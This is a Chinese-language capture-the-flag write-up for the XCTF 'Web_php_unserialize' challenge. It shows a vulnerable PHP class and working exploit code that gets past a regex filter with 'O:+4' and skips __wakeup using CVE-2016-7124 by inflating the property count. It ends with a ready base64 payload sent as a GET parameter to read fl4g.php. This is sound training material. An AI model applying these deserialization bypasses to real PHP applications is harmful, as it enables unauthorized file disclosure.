攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup

攻防世界 WEB 高手进阶区 XCTF Web_php_unserialize Writeup

题目介绍

题名考点

• PHP反序列化漏洞
• 正则匹配

Writeup

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>

分析：get传参 --> base64_decode --> 绕过正则匹配 --> 反序列化 --> 绕过调用__wakeup()

解决: 实例化Demo类 --> 考虑到 后面wakeup()的if --> 传入fl4g.php实例化 --> 序列化 --> 要绕过正则和_wakeup() --> base64_encode --> get传参

参考代码：

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
    $A = new Demo('fl4g.php');
    $b = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $b = str_replace('O:4', 'O:+4',$b);  //绕过preg_match
    $b = str_replace(':1:', ':2:',$b);   //绕过wakeup
　　 //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    echo (base64_encode($b));
 ?>

//输出
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

绕过正则匹配：用+4替换成4是为了绕过preg_match的正则表达式

绕过_wakeup(): 把2替换成1是利用了CVE-2016-7124的漏洞，即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

传入get参数 , 得到 flag

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==